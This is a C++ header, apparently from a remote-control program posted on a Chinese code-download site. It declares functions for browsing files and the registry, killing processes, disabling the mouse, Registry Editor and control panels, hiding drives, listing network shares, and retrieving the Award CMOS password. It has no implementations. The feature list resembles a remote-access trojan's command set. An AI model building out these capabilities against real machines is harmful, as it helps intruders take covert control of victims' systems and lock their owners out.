⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cnutility.h

📁 这是一个远程控制程序
💻 H
字号:
//---------------------------------------------------------------------------
#include <windows.h>
#include <ShellApi.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <nb30.h>

#ifndef CNUtilityH
#define CNUtilityH

#include "srcCmosPwd.h"
#include "CNString.h"
union IP{
        unsigned char netIP[4];
        unsigned long lIP;
};

typedef struct _ASTAT
{
        ADAPTER_STATUS adapt;
        NAME_BUFFER NameBuffer[30];
}ASTAT, *PASTAT;

//---------------------------------------------------------------------------
TCNString CN_IntToHex(int Value, int Digits);
TCNString CN_Trim(const TCNString S);
TCNString CN_TrimLeft(const TCNString S);
TCNString CN_TrimRight(const TCNString S);
TCNString CN_IntToStr(int Value);
int CN_StrToInt(const TCNString S);
int CN_StrToIntDef(const TCNString S, int Default);


TCNString CN_GetLocalIPAddress(void);
TCNString CN_GetLocalHostName(void);
TCNString CN_AdjustPath(TCNString &Path);
TCNString SPACE(TCNString Str, int n);
TCNString CN_GetFileAttr(DWORD FileAttr);
DWORD CN_GetFileAttr(TCNString FAttr);
TCNString CN_SplitterText(TCNString * Text,char spChar);
bool  CN_IsIPAddress( TCNString ss);
TCNString CN_ExtractFilePath(TCNString FileName);
TCNString CN_ExtractFileName(TCNString FullFileName);
TCNString  CN_DeleteFile(TCNString FileName);
void  CN_DelAllFileInPath(TCNString Path);
int CN_GetFileSize( TCNString FileName) ;
bool CN_IsFolder(TCNString CurPath,TCNString FileName);
bool CN_IsInvalidateFileName(TCNString FileName);
bool CN_ExecFile(TCNString FileName);
BOOL CN_DirectoryExists(TCNString Name);
BOOL CN_FileExists(TCNString Name);
BOOL CN_CreateDir(TCNString Dir);
BOOL CN_RemoveDir(TCNString Dir);
BOOL CN_RenameFile(TCNString SourceFile,TCNString DestFile);
void CN_CopyDirTo(TCNString FromDirName,TCNString ToDirName, bool Flag);

//********************************************************/
TCNString CN_GetDirList(TCNString Path);
TCNString CN_GetFileList(TCNString Path);
TCNString CN_GetDriverList(void);

//*********************************************************/
HKEY  CN_GetRootKey(TCNString RootKeyName);
TCNString  CN_GetKeyNameList(TCNString Path);
TCNString  CN_GetValueNameList(TCNString Path);
bool  CN_CreateMasterKey(TCNString Path, TCNString KeyName);
bool  CN_DeleteMasterKey(TCNString Path);
bool  CN_WriteValue(TCNString Path, TCNString ValueName,TCNString Value);
bool  CN_DeleteValue(TCNString Path, TCNString ValueName);
bool  CN_RenameValue(TCNString Path, TCNString OldName, TCNString NewName);
/*********************************************************/

void CN_ShowDesktop(bool Flag);         //显示/隐藏桌面
void CN_SetSysHotKey(bool Flag);        //设置系统热键
void CN_DisabledRegeidt(bool Flag);     //允许/禁止注册表
void CN_DisabledMouse(bool Flag);
void CN_ShowTray_Shell(bool Flag);
void CN_SetPowerState(bool Flag);       //设置睡眠状态
void CN_SendHotKeyToTaskBar(DWORD Msg);
void CN_DisableMouseRight(bool Flag);   //禁止鼠标右键
void CN_NoLogOff(bool Flag);            //禁止“注销”菜单
void CN_NoDeletePrinter(bool Flag);     //禁止“删除打印机"
void CN_NoNetSetup(bool Flag);          //禁用“网络”控制面板
void CN_NoProfilePage(bool Flag);       //禁用“用户”控制面板
void CN_NoSecCPL(bool Flag);            //禁用“密码”控制面板
void CN_NoChangeStartMenu(bool Flag);   //禁止修改”开始“菜单
void CN_NoSetFolders(bool Flag);        //禁止修改“控制面板”
void CN_NoDispCPL(bool Flag);           //禁止修改显示属性
void CN_HideDrivers(int DriverNum);     //隐藏驱动器0-A, 1-B,2-C,...

void CN_KillScreenSaver();
static void CN_KillWallpaper();
static void CN_RestoreWallpaper();
TCNString CN_GetAwardCmosPassword(void);

bool  CN_SetLocalComputerName(TCNString ComputerName);
TCNString  CN_GetSysEventString(void);
bool  CN_SetSysEvenString(TCNString Name,TCNString Value);


//*****************窗口类***************************************
bool  CN_EnabledWindow(unsigned sHandle,BOOL Flag);
bool  CN_ShowMaxWindow(unsigned sHandle);
bool  CN_ShowMinWindow(unsigned sHandle);
bool  CN_ShowHideWindow(unsigned sHandle);
bool  CN_ShowActiveWindow(unsigned sHandle);
bool  CN_CloseWindow(unsigned sHandle,bool Flag);

bool CN_EnumProc(HWND hWnd,LPARAM lp);
TCNString  CN_GetTopLevelWindows(unsigned sHandle);
TCNString  CN_GetRunProcList(void);
int  CN_KillRunProcess(TCNString ProcessID);
TCNString CN_GetWindowInfo(void);
bool CN_SetIPAddress(TCNString IPAddress,TCNString IPMask,TCNString DefaultGateway);
TCNString  CN_GetShareList(void);
TCNString  CN_GetNetInfo(void);

/************************************/

#endif

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -